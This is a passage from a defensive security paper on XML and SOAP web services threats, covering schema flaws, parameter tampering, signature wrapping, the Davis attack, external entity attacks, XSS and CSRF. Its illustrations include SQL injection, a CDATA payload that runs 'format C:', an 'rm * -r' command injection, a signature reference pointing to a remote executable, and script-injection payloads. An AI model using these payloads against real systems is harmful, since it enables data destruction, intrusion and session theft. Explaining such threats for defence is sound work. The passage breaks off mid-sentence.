Care must be taken when implementing schema validation rules. An

attacker armed with these subtle rules may be able to bypass type-

checking in non-compliant validation engines, effectively passing

through XML content forbidden by the schema.

3.4.3 Lazy Type Definitions

Schema extension points may also be introduced through careless-

ness when constructing schema models. For example, an element

definition that neglects a type attribute will be implicitly defined as

xs:any, allowing it to contain unbounded content. For example:

<xs:element name=”payload” />

The previous definition would make it possible to insert any arbitrary

content within the payload element.

3.4.4 Dirty Word Filtering

W3C XML Schema has a feature to enforce regular expressions within

content through the use of the <pattern> facet. While this feature is

useful for constraining the value space of XML content, it is not pow-

erful enough to provide a document-level word filtering mechanism.

For example, many XML processing systems may wish to filter content

based on dirty words that may signal semantic attacks. For example,

filtering on common SQL commands within XML content may mitigate

SQL injection attacks.

For example, consider the following SOAP realization of a function call

that looks up sensitive information based on string-based region or

city name.


<soap:Envelope xmlns:soap=”http://schemas.xml-

soap.org/soap/envelope/”

xmlns:xsi=”http://www.w3.org/1999/XMLSchema-

instance”

xmlns:xsd=”http://www.w3.org/1999/

XMLSchema”>

<soap:Body>

<ns:RetrieveRevenueInfo xmlns:ns=”urn:fake”

soap:encodingStyle=”http://schemas.xml-

soap.org/soap/encoding/”>

<name xsi:type=”xsd:string”>US West

Coast</name>

</ns:RetrieveRevenuInfo>

</soap:Body>

</soap:Envelope>

Assuming that the string US West Coast is passed to some sort of da-

tabase engine such as SQL, it would be prudent to filter dirty words

such as WHERE, SELECT, FROM, EXEC, 1=1 from the content, but this

cannot be done with a regular expression using the <pattern> facet.

For example, consider an example <pattern> facet to constrain an in-

teger value to a 3-digit number from the value space of 0 through 9, a

5, and then 0 through 3.

<xs:pattern value=”[0-9]{5}[0-3]”/>

This regular expression works well because the content being

bounded is an integer. To write the same expression for a string would

involve an explosion of regular expressions that would result in trying

to map the entire allowable value space for all strings pertinent to this

function.

In other words, each possible string must be represented as a regular

expression, with the intersection of all such possibilities being defined

as the regular expression to appear in the <pattern> facet. The limita-

tion of the <pattern> facet for XML schema occurs because there is

no suitable way to express the negation of a regular expression or set

of words, meaning W3C Schema Validation can’t adequately provide

word filtering without additional custom checking.

3.4.5 Schema Model Mismatching

Typical instantiations of XML processors make heavy use of XSLT

[XSLT] for data transformation as well as for general XML process-

ing. XSLT is itself based around the XPath Data Model [XPath] which is

an object model that views an XML document as a tree consisting of

root, element, text, attribute, namespace, processing instruction and

comment nodes.

W3C Schema Validation doesn’t use the same XPath data model dur-

ing validation time and is required to normalize processing instruction

and comment nodes. This normalization can provide a subtle hole for a

sophisticated attacker to bypass even custom length checks.

14


For example, an XML processor that is enforcing limits on the size of

text nodes may mandate a size restriction for element content using

a custom enforcement mechanism. This type of limit enforcement

should be used and is recommended to mitigate structural threats

with oversized payloads.

For example, consider the following SOAP request for employee infor-

mation based on a unique identifier:



soap.org/soap/envelope/”>

<soap:Body>

<ns:RetrieveCustInfo xmlns:ns=”urn:fake”



<CustID xsi:type=”xsd:string”>0000012345A

BC</CustID>

</ns:RetrieveCustInfo>

</soap:Body>

</soap:Envelope>

Now consider an object model-based limit enforcement mechanism

employed prior to W3C schema validation that limits text nodes to

10K. This would effectively prevent memory allocation during parsing

to less than 10K for text nodes.

Now consider a malicious document that exploits the fact that the

XML processor is also performing schema validation:



soap.org/soap/envelope/”>

<soap:Body>

<ns:RetrieveCustInfo xmlns:ns=”urn:fake”





<CustID xsi:type=”xsd:string”>

000012345ABC

<?some processinginstruction?>

0000012345ABC


0000012345ABC


0000012345ABC


0000012345ABC

</CustID>

</ns:RetrieveCustInfo>

</soap:Body>

</soap:Envelope>

In the previous document an attacker has created a repeating se-

quence of processing instructions and text nodes. Each text node

alone is well under the 10K limit. The attacker can continue this way,

inserting thousands of such pairs, without tripping the XPath based

limit enforcement.

When schema validation occurs, the contents of the CustID element

will be normalized, effectively removing all processing instructions.

Once these processing instructions are stripped, memory will be al-

located to hold sum of all of the text nodes to continue schema

validation. This is due to the fact that processing instructions and

comments are invisible to schema validation, but individually each text

node passes the limit enforcement test.

The net effect is that an attacker can cause an XML processor to

overcome its own limit enforcement if implementations aren’t mindful

of how different technologies model XML data. This is another exam-

ple of a boundary-layer problem of lost context between the XPath

object model and the W3C schema validation model.

3.5 Semantic Representation ThreatsSome of the keywords for most threats in this category include:

Parameter Tampering, Routing Detours, WSDL Scanning/Enumeration,

SOAP replay attack, Malicious Morphing, SOAP array attack, SOAP

fault scanning, SOAP SQL injection.

When an XML document is sent from one system to another, various

languages can be used to represent the semantics of the document. A

lightweight envelope defined by SOAP [SOAP11] is often used within

the XML Web Services paradigm to represent remote procedure calls.

Other mechanisms such as XML/RPC [XML/RPC] can also be used. All

of the attacks in this section rely on the specific representation uti-

lized within the XML message.

3.5.1 SOAP Parameter Tampering (refer to section 2.1)

SOAP represents function calls in a language and platform-neutral

representation. A parameter tampering attack is simply an attack

caused by the manipulation of the function parameters within the

15


SOAP message. This parameter manipulation may cause unwanted

function calls or Denial of Service conditions in the backend system.

For example:

<soap:Envelope xmlns:soap=“http://schemas.xml-

soap.org/soap/envelope/“>

<soap:Body>

<fn:PerformFunction xmlns:fn=“ “ xmlns:ns=“ “>

<DataSet xsi:type=”ns:Array” s:arrayType=

”xsd:string[10000000]”>

<item xsi:type=”xsd:string”>Data1</item>



</DataSet>

</fn:PerformFunction>

</soap:Body>

</soap:Envelope>

In the previous example an attacker has modified the size of the lin-

ear array data structure to 10 million bytes. This array is passed to the

PerformFunction method call when the SOAP call is executed.

If the back-end system is mapping the supplied size of the array di-

rectly to a memory allocation function, this type of message could

cause the system to allocate nearly 10GB of memory, which may

cause a Denial of Service condition.

Another example of parameter tampering is a SQL injection attack,

which tries to infiltrate a back-end database through the use of mis-

placed SQL commands.

For example:



<soap:Body>

<fn:PerformFunction xmlns:fn=“ “>

<fn:uid>8123</fn:uid>

<fn:password>

’or 1=1 or password=‘

</fn:password>


</soap:Body>

</soap:Envelope>

In the previous example, the password field is overloaded with logic

statements designed to bypass the password authentication mecha-

nisms in a SQL database through the use of Boolean short-circuiting.

It is important to note that most SQL injection-type attacks rely on

software implementation bugs that fail to validate input before it is

passed into a database query. For example, stripping quotes, white-

space and logic operators before processing can mitigate these types

of attacks.

3.5.2 SOAP Encapsulation

SOAP uses a distinct header block to carry metadata about the mes-

sage, such as security semantics for digital signatures and encryption.

Within the header block, SOAP defines an attribute called mustUnder-

stand which can be used to force a SOAP node to process header

items, such as digital signatures. The semantics of mustUnderstand

are clearly defined by SOAP v1.1 [SOAP11] as follows: If the value of

the attribute is “1”, processing the header entry is mandatory, and if it

is “0”, processing the header is optional.

Further, the SOAP header is designed to be mutable and many inter-

mediaries along the path may add or change the header according

to routing and security rules. An attacker may be able to take advan-

tage of mutable headers to force a SOAP processor to ignore a digital

signature.

For example:

<soap:Envelope

xmlns:soap=”http://schemas.xmlsoap.org/soap/

envelope/”>

<soap:Header>

<wsse:Security soap:mustUnderstand=”1”

xmlns:wsse=”http://docs.oasis-open.org/

wss/2004/01/oasis-200401-wsswssecurity-secext-

1.0.xsd”>

<Signature xmlns=”http://www.w3.org/2000/09/

xmldsig#”>

<SignedInfo>

<Reference URI=”#body”>

<DigestMethod

Algorithm=”http://www.w3.org/2000/09/

xmldsig#sha1” />

<DigestValue>bglnqGibA6DiBAexBCksjX+nzhI=</

DigestValue>

</Reference>

</SignedInfo>

<SignatureValue>

FUMuj800+69dzGmrbOuxMp7OcK4ZKy1DG6s9VWP …

</SignatureValue>

16


</Signature>

</wsse:Security>

</soap:Header>

<soap:Body Id=”body”>

<AccountTransfer>

<ID>123456</ID>

<Amount>10000</Amount>

</AccountTransfer>

</soap:Body>

</soap:Envelope>

The previous example shows a SOAP document containing a digital

signature as specified by OASIS WS-Security [WSS-Sec]. Many of the

elements such as the security token, timestamp, and other details are

omitted for brevity.

The reader should notice the fact that the mustUnderstand attribute

is set to “1”, effectively forcing the SOAP node to process the digital

signature before passing the body to the application.

It is important to note that in this case the header is not covered by

the digital signature, meaning that it is possible for an attacker to add

or remove elements from the header at will.

For example:

<soap:Envelope


envelope/”

xmlns:foo=”http://foo.com”>

<soap:Header>

<foo:UnsupportedHeader soap:mustUnderstand=”0”>




1.0.xsd”>


xmldsig#”>

<SignedInfo>

<Reference URI=”#body”>

<DigestMethod


xmldsig#sha1” />


DigestValue>

</Reference>

</SignedInfo>

<SignatureValue>


</SignatureValue>

</Signature>

</wsse:Security>

</foo:UnsupportedHeader>

</soap:Header>


<AccountTransfer>

<ID>123456</ID>


</AccountTransfer>

</soap:Body>

</soap:Envelope>

In the previous example, the body of the SOAP request is still digitally

signed, but the attacker has wrapped the Security element in an un-

recognized namespace and set the processing to optional. A SOAP

node that processes this message in a layered manner may not rec-

ognize the signature because the semantics of the mustUnderstand

attribute on the outer envelope instruct it to ignore the processing.

This is another example of a boundary-layer problem caused by the

SOAP envelope and the OASIS WS-Security framework. The fact that

the SOAP document has a mandatory signature is lost due to this extra

meta-information not being passed through to the outer SOAP layer.

3.5.3 SOAP Fault Scanning

SOAP has a built-in fault mechanism that allows a SOAP message to

contain fault information for bad requests. This fault information is

contained with in a Fault element and may contain integer codes or

complete text descriptions.

In many cases, an attacker may be able to perform reconnaissance on

a back-end system based on information in returned by SOAP faults

such as stack traces or operating system level errors. An XIP device

that is protecting back-end systems should ensure that SOAP faults

are not passed back through to clients that may aid an attacker.

For example:

HTTP/1.1 500 Internal Server Error

Content-Type: text/xml; charset=”utf-8”

Content-Length: nnnn

17


<SOAP-ENV:Envelope

xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/

soap/envelope/”>

<SOAP-ENV:Body>

<SOAP-ENV:Fault>

<faultcode>-1</faultcode>

<faultstring>

System.Web.Services.Protocols.

SoapException:

Server was unable to process request

</faultstring>

</SOAP-ENV:Fault>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

The previous exception may seem benign, but the use of back-end spe-

cific information tells an attacker that the service uses Microsoft .NET

based on the reference to the Microsoft specific System.Web.Services

assembly. Other examples may include Java stack traces, which tell and

attacker that the back-end service is implemented in Java.

3.5.4 WSDL Enumeration/Guessing

The XML Web Services paradigm utilizes an XML-based interface de-

scription mechanism based on Web Services Description Language

(WSDL [WSDL]). In many cases, a WSDL may undergo changes as

methods are added and removed based on the lifecycle of the under-

lying XML web service. Over time, the set of service interfaces may fall

into a natural partition based on access control groups.

For example, a certain subset of a WSDL may be communicated to exter-

nal partners, while the complete set of method calls is only known to a

few involved parties. Under this assumption, an attacker may be able to

guess at other WSDL methods based on naming conventions. This type

of attack is similar to port scanning at the network layer, but instead of

searching for open TCP ports, an attacker searches for method calls.

In many cases, extremely sensitive method calls should have strict

authentication requirements, but in the early stages of XML web ser-

vices adoption, it is likely that security for sensitive method calls will

be implemented with a “security by obscurity” policy. This essentially

means that the security of the methods is based solely on the fact

that the names are known to a small set of parties.

3.5.5 SOAP Replay Attack

A SOAP replay attack is not related to cryptographic message replay.

Instead, the idea behind this type of attack is to overwhelm a back-

end system and cause a Denial of Service condition. An attacker may

be able to capture valid encrypted and signed SOAP documents and

send copies of these repeatedly to an XML processor.

For example, consider a signed and encrypted valid SOAP request

that utilizes OASIS WS-Security. If the payload is large enough, sim-

ply repeating the valid request over and over again will force the XML

processor to perform expensive XML security operations such as W3C

XML Signature and W3C XML Encryption.

This type of Denial of Service attack won’t be detected by traditional

firewalls because each request is valid in and of itself and it will gener-

ally take a smaller number of such encrypted and signed requests to

overwhelm an XML processor. This implies that rate shaping or volume

limits enforced by traditional IPS/Firewall systems may not be tripped.

3.6 Semantic Implementation ThreatsThe category of semantic implementation threats refers to any type

of content-based threat that is not clearly tied to a standard rep-

resentation mechanism such as SOAP. The attack may be highly

implementation- and environment-specific, relying on intimate knowl-

edge of the back-end data model, architecture and language choice.

Some of the keywords for most threats in this category include: XML

Encapsulation, Code Injection, Command Injection, Buffer Overflow,

Cross-Site Scripting

3.6.1 XML Encapsulation (refer to section 2.1)

An XML encapsulation attack is an attack designed to force a back-

end system to execute malicious code or commands. In many cases

this is done by passing the pathological content or code within a char-

acter data section (CDATA) within an XML document.

For example:



<soap:Body>


<![CDATA[

x=new ActiveXObject(“WScript.Shell”);

x.Run(“%systemroot%\\SYSTEM32\\CMD.EXE /C

format C:”);

]]>


</soap:Body>

</soap:Envelope>

18


In many cases, simply passing arbitrary code or command line calls

in a CDATA section will have no effect. This attack becomes signifi-

cant when the attacker has performed significant reconnaissance on

how the target system handles CDATA sections based upon the en-

vironment and implementation. The pathological code may harm the

system, tie up resources or install backdoors for a later attack.

Other examples of semantic implementation threats are based on how

the target is implementing SOAP requests. In some cases, if an attacker

determines the SOAP request is parsed and fed into a script interpreter,

simple UNIX-style command line injection may pose a threat.

For example:



<soap:Body>


<parameter>123456 | rm * -r</parameter>


</soap:Body>

</soap:Envelope>

In the previous example, the SOAP layer may be processed by a script-

ing engine, such as Perl. And without validation of input, malicious

behavior may be introduced with carefully chosen input.

3.7 Algorithmic ThreatsAlgorithmic threats are threats based on inefficient XML processing

algorithms. In many cases, an inefficient algorithm simply causes slow

software. In the case of XML processing however, an inefficient algo-

rithm can be the cause of a Denial of Service attack. In some cases,

algorithms and data structures that have average case-efficient op-

eration can be forced into worst case behavior based on carefully

chosen input.

3.7.1 Hash Table Attack

Many XML processing implementations make use of hash-table data

structures when parsing and validating XML. For example, mapping

namespace prefixes (such as soap) to the namespace name (http://

schemas.xmlsoap.org/soap/envelope/) is often implemented with a

hash table. For grammar validation, W3C schema validation engines

often use hash tables to keep track of global elements and global

schema types.

A hash table has algorithmic performance advantages for insertion

and retrieval. In the average case, the time required to search a hash

table is approximately constant. In many cases, however, the hash

function used to determine the appropriate bucket is not cryptograph-

ically secure. If an attacker can successfully guess the hash function

used, either by brute force or by examining open source code, the at-

tacker may be able to mount a successful Denial of Service attack.

The attack would work by having the attacker choose well-formed

XML components that repeatedly hash to the same bucket, causing

the hash-function data structure to revert to its worst case behavior.

This type of attack is particularly malicious because it is able to bypass

well-formed-ness checks as well as limit-enforcement checks if the at-

tacker can find small enough XML components.

3.7.2 Exponential Space Algorithms

Some XML processors may make use of algorithms that have worst-

case exponential behavior. This behavior may be exponential time or

exponential space. An attacker can easily exploit such an algorithm by

constructing well-formed, but malicious input.

For example, consider the following XML schema fragment that refers

to a global element <A>.

<xs:schema xmlns:xs=”http://www.w3.org/2001/

XMLSchema”>

<element name=”A” />

<xs:sequence minOccurs=”1” maxOccurs=”2” >






<xs:sequence minOccurs=”1”

maxOccurs=”2” >

<xs:element ref=”A” />

</xs:sequence>

</xs:sequence>

</xs:sequence>

</xs:sequence>

</xs:sequence>

</xs:sequence>

</xs:sequence>

</xs:schema>

During schema analysis time, this schema fragment must be con-

verted into logic that is used to validate incoming XML documents.

To accomplish this, many implementations unroll the sequence from

the inside-out, causing the validation engine to generate code for

each level in the tree. For this example, code will be generated that

19


initially checks for the global element A, then code will be gener-

ated that checks for at least one occurrence of <A> but not more

than two. Then, because the sequence is wrapped in yet another se-

quence, the number of combinations increases by a power of two.

For this particular example, the number of combinations reaches 27,

which is manageable, but it would not be hard for an attacker to nest

sequences up to 100, which would require 2100 states. This type of

behavior in an algorithm implementation can easily cause a Denial of

Service or out-of-memory condition in a back-end Web service.

While this particular case shows a potential weakness in a schema vali-

dation implementation, it may be argued that this code path may be

triggered by a valid XML message (such as a SOAP document) that trig-

gers schema validation or remote de-referencing of a poisoned schema.

3.8 XML Security ThreatsThis section is concerned with potential security hazards that result

from the misuse and misunderstanding of XML security standards

such as W3C XML Signature, OASIS WS-Security, and W3C XML

Encryption. This section does not deal with any attacks based on the

breaking of cryptographic protocols or ciphers, but instead focuses on

problems that arise due to the recursive nature of the XML security

standards. In other words, this section looks at threats based on the

boundary layer problem or lost context problem between an XML doc-

ument, the XML Encryption layer, and the XML Signature layer.

This category overlaps with a larger category of attacks that are more

strongly related to applied cryptography. This section does not at-

tempt to cover threats based on message replay, trust validation,

man-in-the middle attacks, password-based encryption, hash-based

key derivation, private key protection, pseudo-random number genera-

tion, password guessing, or PKI-based attacks.

3.8.1 Davis Attack

The Davis attack [DAVIS] is an attack based on context lost between

the XML Signature and XML Encryption layers. The Davis attack has

two variations. In the first variation, a signed and encrypted SOAP re-

quest is made to look like it is intended for an alternate recipient. In

the second variation, an encrypted and signed SOAP request is made

to appear as if it comes from an alternate sender.

Variation #1 of the attack requires that the Recipient B be a double-

agent.

For example:





<soap:Header>

<wsse:Security>

<xenc:EncryptedKey> … </

xenc:EncryptedKey>



<ds:Signature> .. </ds:Signature>

</wsse:Security>

</soap:Header>


<EncryptedData> … </EncryptedData>

</soap:Body>

</soap:Envelope>

In the previous example, assume that Sender A first signs and then

encrypts the body of a SOAP request to send it to Recipient B.

The order of operations is represented by the fact that the

EncryptedKey element appears first in the Security header, meaning

the encryption operation happened second and the signature opera-

tion happened first.

The important thing to note is that there is no connection between

the signature and encryption operations. They occur in succession

— first the signature and then the encryption. When the message is

processed, the recipient generally will assume that the signer of the

message is also the same person who encrypted it, but there is noth-

ing explicit about this assumption.

Recipient B can fully decrypt the message, but doesn’t have to strip

the signature. In this case B may attempt to route the message to a

different recipient, X. In doing this B is attempting to convince an al-

ternate Recipient X that the message was signed by A for X. In reality,

however, the message is signed by A for B. This effect may convince

Recipient X that the original Sender A intends a signed message for X.

One consequence of this type of attack may result in the re-routing of

a financial transaction to an alternate recipient.

To execute the attack, the eavesdropper B simply needs to decrypt

the portion intended for him or her. Once this happens, the SOAP re-

quest will contain only the original signature.

For Example (shown with namespaces and superfluous elements

removed):



<soap:Envelope>

<soap:Header>

<wsse:Security>

20





</wsse:Security>

</soap:Header>


<PerformFunction> … </PerformFunction>

</soap:Body>

</soap:Envelope>

At this point, Recipient B simply needs to retrieve the public key for

Recipient X and re-encrypt the message for X. When X receives the mes-

sage, it will appear as if the original signer intends the message for X.



<soap:Envelope>

<soap:Header>

<wsse:Security>



<xenc:EncryptedKey> … </

xenc:EncryptedKey>




</wsse:Security>

</soap:Header>


<EncryptedData>… </EncryptedData>

</soap:Body>

</soap:Envelope>

The previous example looks the same as the first. The only difference

is that the public key used to encrypt the body of the SOAP docu-

ment belongs to Recipient X. When Recipient B sends the message

back into the network, Recipient X may be fooled into believing it was

signed by Recipient A explicitly for X.

3.8.2 SOAP Body Subset Signatures

The XML Signature Recommendation and its profile by OASIS WS-

Security allows for any proper XML subdocument within an XML

document to be the target of a signature. In the case of SOAP docu-

ments, it is common to specify a signature over the entire SOAP body.

The following snippet shown an example with superfluous elements

and namespaces removed:

<soap:Envelope>

<soap:Header>

<wsse:Security>

<!—- This signature covers the entire

SOAP body -->

<ds:Signature> ..

<ds:Reference URI=”#body” />

</ds:Signature>

</wsse:Security>

</soap:Header>


<PerformFunction Id=”f1” />

</soap:Body>

</soap:Envelope>

Further, it is also possible to sign any subdocuments within the SOAP

body. If an application isn’t careful, it may only sign a single element

within the SOAP body. For example:

<soap:Envelope>

<soap:Header>

<wsse:Security>


SOAP body -->

<ds:Signature> ..

<ds:Reference URI=”#f1” />

</ds:Signature>

</wsse:Security>

</soap:Header>



</soap:Body>

</soap:Envelope>

In the previous example, the element that is the target of the sig-

nature is authenticated, but the SOAP body is not. The back-end

application should never assume that just because a SOAP document

contains a digital signature, the document is authenticated. In the

previous example, it is possible for an attacker to place arbitrary XML

content into the SOAP body without violating the digital signature.

For example:

<soap:Envelope>

<soap:Header>

<wsse:Security>


SOAP body -->

<ds:Signature> ..

<ds:Reference URI=”#f1” />

</ds:Signature>

21


</wsse:Security>

</soap:Header>



<MaliciousContent />

</soap:Body>

</soap:Envelope>

This potential threat may also be characterized as a lost context prob-

lem. The threat is meaningful when the back-end application loses the

meaning of the security context. In this case, it loses the fact that the

XML Signature is only covering a portion of the SOAP body.

3.8.3 SOAP Attachment Insertion Threat

The SOAP with Attachments W3C Note [SwA] describes a mechanism to

send a main SOAP payload with one or more attachments. Attachments

need not be XML, but can be any registered MIME content type. SOAP

payloads with attachments are called SOAP message packages.

OASIS WS-Security defines a profile for attachments called the OASIS

WS-Security SOAP with Attachments (SwA) Profile [WSS-SwA]. This

profile describes how attachments can be encrypted, signed, or both

using mechanisms defined by XML Signature and XML Encryption.

Back-end Web services may rely on a SOAP payload with a set of au-

thenticated attachments for processing. The threat described here

involves an attacker inserting an attachment into the SOAP package.

If the back-end application doesn’t recognize the inserted attachment

as a rogue attachment, it may process the attachment believing erro-

neously that because other attachments are signed, this attachment

is also valid. In some cases, the attachment may be a binary payload or

Trojan designed to infiltrate the system.

For example, consider the following SOAP message package and at-

tachments with the attachments authenticated using the OASIS

WS-Security SwA profile. Note that this example omits namespaces

and many required elements for the sake of brevity:

Content-Type: multipart/related;

boundary=”signed”; type=”text/xml”

--signed

Content-Type: text/xml

<?xml version=”1.0” encoding=”utf-8” ?>

<soap:Envelope>

<wsse:Security>

<ds:Signature>

<ds:Reference URI=”cid:attachment1” />

<ds:Reference URI=”cid:attachment2” />

</ds:Signature>

</wsse:Security>

</soap:Envelope>

--signed

Content-Type: image/jpeg

Content-Id: <attachment1>

Content-Transfer-Encoding: base64

Dcg3AdGFcFs3764fddSArk

--signed




Fdsr4532rfdwr532jdsFDSfds

--signed




D43jfds432hjrfswf

In the previous example, the main SOAP payload is authenticating two

attachments at the boundaries attachment1 and attachment2. The

attacker has inserted a third attachment that uses the same bound-

ary name and naming conventions as the authenticated attachment,

but in this case it contains a rogue payload and is not covered by the

digital signature.

The application must be absolutely certain that it has proper policies

in place for handling attachment insertion. A naïve application may be

written to process all attachments first, before attempting to authen-

ticate them, which may result in a security hole.

The attachment insertion threat is another example of a potential

lost context problem. In this case, the application has to ensure that

it maintains security context throughout processing. That is, it must

maintain the fact that only signed attachments are valid.

3.9 External Entity ThreatsAn external entity threat is any type of threat within an XML docu-

ment that forces a system to de-reference a URI or open a remote

socket, file, pipe, or communication mechanism. The attacker could be

making an attempt to cause a Denial of Service condition, or could be

trying to download external code for execution on the host machine.

22


Due to the fact that URIs are present across all layers of an XML doc-

ument, this is a vertical threat. That is, an external entity threat may

occur during grammar validation, XML security processing, SOAP pro-

cessing or custom application processing.

Some of the keywords for most threats in this category include: XXE

Attack, External Entity Attack, Schema Poisoning.

3.9.1 DTD Based External Entity Attack

This type of attack relies on the use of the SYSTEM keyword in a

Document Type Declaration (DTD) to force an XML processor to open an

external socket and replace XML entities with extraneous XML content.

For example, the following entity declaration within a DTD defines an

entity called nothing to point to an external file.

<!ENTITY nothing SYSTEM

“http://some-server.com/hugeXMLfile.xml “>

If an attacker can manage to set the entity declaration for a particu-

lar XML message or file, the entity can simply be referenced within the

XML content as follows:

<doc>There is &nothing; wrong here. &nothing;

from &nothing; breeds &nothing; </doc>

In the previous example, the XML content will reference the entity

four times, possibly causing a sever Denial of Service condition if the

external file is large enough.

i.2 Schema Based External Entity Attack

W3C XML Schema defines a schemaLocation element which speci-

fies an external location from which to retrieve schema definitions. In

some cases, it may be possible for an attacker to spoof the identity of

the remote server or local file, effectively forcing the schema valida-

tion mechanism to reference a poisoned schema.

For example, consider this fragment of the FpML schema definition.

FpML is the Financial Products Markup Language, which is used in the

financial services industries.

<?xml version=”1.0” encoding=”utf-8”?>

<xsd:schema targetNamespace=”http://www.fpml.

org/2003/FpML-4-0”

xmlns:xsd=”http://www.w3.org/2001/XMLSchema”

xmlns=”http://www.fpml.org/2003/FpML-4-0”

elementFormDefault=”qualified” attributeForm

Default=”unqualified”>

<xsd:include schemaLocation=”fpml-doc-4-0.xsd”/>

<xsd:include schemaLocation=”fpml-fx-4-0.xsd”/>

In the previous example, this portion of the FpML schema uses two ex-

ternal entities as defined by the include elements. In this case they refer

to local files, but the attribute value for schemaLocation may also be a

fully qualified URI such as http://www.fake-server.com/fpml-doc-4-0.xsd.

If an attacker can find a way to substitute one of these files with

an alternate one, they may be able to add extensibility points to the

schema definition.

3.9.2 XML Security Based External Entity Attack

XML Security standards such as XML Signature and XML Encryption

use URI mechanisms to reference data to be signed and encrypted. In

many cases, the URI values utilized point to XML fragments within the

current document. For example, SOAP documents that are signed with

the OASIS WS-Security specification make frequent use of URI frag-

ment identifiers which identify the signed portions based on Id values

or the result of XPath expressions.

In addition to local URI references, XML Signature and XML Encryption

also fully support remote references, which may call for an external

socket connection to retrieve some data to be signed or encrypted. An

attacker may insert remote references into signed SOAP documents

to cause a Denial of Service condition. The modification of the signed

message in this case will go unnoticed because the attacker is insert-

ing extra processing steps during the signature verification process.

For example:

<soap:Envelope


envelope/”

xmlns:foo=”http://foo.com”>

<soap:Header>




1.0.xsd”>


xmldsig#”>

<SignedInfo>

<Reference URI=”http://www.some-server.com/

attack.exe”>

<DigestMethod

23



xmldsig#sha1” />


DigestValue>

</Reference>

</SignedInfo>

<SignatureValue>


</SignatureValue>

</Signature>

</wsse:Security>

</soap:Header>


<AccountTransfer>

<ID>123456</ID>


</AccountTransfer>

</soap:Body>

</soap:Envelope>

In the previous example, the attacker has modified the Reference el-

ement to de-reference an external executable file. Again, because

the Reference element is processed during signature verification, the

change won’t be detected until it is too late. In the example shown here,

the attacker may intend for a Denial of Service attack, in which case

the target file may be huge. In other cases, the attacker may be able to

force an external code download such as a virus, Trojan, or back-door.

4.0 Web 2.0 Threats and Countermeasures

4.1 XSS (Cross Site Scripting) with XML streamsDownstream coming from an application to a browser can have ma-

licious payload embedded in XML streams. These XML streams get

parsed and used in the browser’s DOM. If a malicious source gets exe-

cuted in the browser then it causes cross site scripting (XSS).

For example, Web 2.0 applications are designed to serve cross domain

content as part of their features. An end-user can ask the application

to show various blogs at a single place inside the application region

and for that the targeted Web 2.0 application will go out and fetch

bloggers’ profiles along with their recent posts. Blogs support API calls

and they return XML streams back to the Web 2.0 application. These

streams are then sent to the end-client’s browser. Browser is process-

ing XML streams using XHR object as shown below. This is to process

a blogger’s profile based on a parameter.

function getXMLProfile()

{

var http;

if(window.XMLHttpRequest){

http = new XMLHttpRequest();

}else if (window.ActiveXObject){

http=new ActiveXObject(“Msxml2.

XMLHTTP”);

if (! http){

http=new ActiveXObject(“Microsoft.

XMLHTTP”);

}

}

http.open(“GET”, “./profile.

jsp?user=jack”, true);

http.onreadystatechange = function()

{

if (http.readyState == 4) {

var xmlmessage = http.responseXML;

var profile = xmlmessage.getElementsByT

agName(‘profile’);

var firstname =

profile[0].getElementsByTagName(‘firstnam

e’)[0].firstChild.data;

var lastname =

profile[0].

getElementsByTagName(‘lastname’)[0].

firstChild.data;

var number =

profile[0].getElementsByTagName(‘number’)

[0].firstChild.data;

document.open();

document.write(firstname+”<br>”);

document.write(lastname+”<br>”);

document.write(number);

document.close();

}

}

http.send(null);

}

Above code will make HTTP request over XHR and get profile for User

Jack as shown below.

HTTP/1.1 200 OK

Content-Length: 164


24


Last-Modified: Sat, 09 Aug 2008 06:35:38 GMT

Accept-Ranges: bytes

ETag: “e6c1fe22eaf9c81:1005”

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 04 May 2009 08:53:27 GMT

Connection: close


<profile>

<firstname>Jack</firstname>

<lastname>Smith</lastname>

<number>212-252-5436</number>

</profile>

The Javascript function is processing an incoming XML stream and

taking values and passing them to document.write call, which will up-

date the browser and inject new content in the current DOM. In this

case, the function is vulnerable and malicious XML stream can lead to

potential DOM based XSS. If an attacker has identified this weakness,

then as a blogger, the attacker can inject a script inside his profile as

below. Once that malicious XML stream gets called and loaded, it be-

comes a potential exploit point for an attacker. An attacker can steal

cookie information or run malicious commands on the browser.

HTTP/1.1 200 OK

Content-Length: 203


Last-Modified: Wed, 05 Sep 2007 08:38:53 GMT

Accept-Ranges: bytes

ETag: “58ceb13098efc71:1005”



Date: Mon, 04 May 2009 08:58:26 GMT

Connection: close


<profile>

<firstname>John</firstname>

<lastname><![CDATA[<script>alert(“XSS”)</

script>]></lastname>

<number>212-675-3292</number>

</profile>

Shown above is just one instance of such an XML stream. Web 2.0 appli-

cations use various sets of XML documents as standard ways of sharing

information. For example, RSS and ATOM feeds are other popular data

structures. It is possible to pollute RSS feeds, and once they get loaded in

a customized RSS feed reader they can cause cross-site scripting. Here is

an example of an XML node which is part of an RSS feed.


<rss version=”2.0” xmlns:dc=”http://purl.org/dc/

elements/1.1/” xmlns:itunes=”http://www.itunes.

com/DTDs

/Podcast-1.0.dtd”>

<channel>

<title>ABC Corp News Feed</title>

<link></link>

<description>

</description>

<copyright>Copyright 2007, ABC Media, Inc.</

copyright>

<itunes:author></itunes:author>

<itunes:category text=”Business”/>

<language>en-US</language>

<docs>http://abc.example.com/rss</docs>

<item>

<title>Interesting news item</title>

<link>javascript:alert(“RSS - XSS”)</link>

<description></description>

<author>XYZ news</author>

<dc:date>2008-11-16T16:00:00-08:00</dc:date>

</item>

In the above case, link node is polluted by injecting JavaScript. This link

gets loaded as part of an RSS feed reader and if the XML stream is

not sanitized, then that link will cause XSS in the browser.

Consequently, XIP needs to secure downstream in Web 2.0 architec-

ture. It is imperative in order to protect end user’s session. End user’s

browsers, rather than operating systems, are becoming popular end-

points for attack in the current environment. XML streams’ scrutiny is

required before processing in the DOM. Above fundamentals are ap-

plicable to various structures like JSON , JS-Array etc. Similar types of

vulnerabilities can be observed in RIA applications running over Flash

or Silverlight. It is very critical to filter both upstream and downstream

XML structures and to block any executable payload residing in the

form of JavaScript.

25


4.2 CSRF (Cross Site Request Forgery) with XML streamsCross Site Request Forgery (CSRF)is becoming another critical attack

vector for client-side security. It is possible to bypass SOP (Same Origin

Policy) of a browser by using certain tags like a script, iframe or action

(form). If an XML stream is doing certain sensitive tasks like transactions

or password changes, then it is possible to craft an HTML page in such a

way that HTTP requests get initiated without end client’s consent.

For example, User A logs into his banking site by passing right creden-

tials. He makes a transfer of money to User B’s account. The banking

application is running with XML services layer. The transfer request will

come in the form of XML and since User A is authenticated, his cookie

